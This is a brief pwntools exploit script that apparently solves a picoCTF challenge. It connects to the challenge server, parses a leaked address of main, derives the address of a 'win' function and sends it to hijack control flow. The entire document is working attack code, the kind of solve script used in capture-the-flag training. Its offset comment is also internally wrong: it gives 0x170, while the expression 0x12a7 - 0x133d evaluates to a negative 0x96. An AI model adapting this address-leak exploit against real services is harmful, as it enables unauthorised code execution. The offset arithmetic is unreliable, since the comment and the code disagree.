from pwn import *
context.log_level = 'debug'

# Connect to the remote service
proc = remote('rescued-float.picoctf.net', 57705)

# Read the main address line
main_line = proc.recvline().strip().decode()
main_addr = int(main_line.split()[-1], 16)

# Calculate the win address
offset = 0x12a7 - 0x133d # 0x170, adjust based on binary
win_addr = main_addr - offset

# Send the win address with '0x' prefix
proc.sendline(f'0x{win_addr:x}')

# Read and print the response
print(proc.recvall().decode())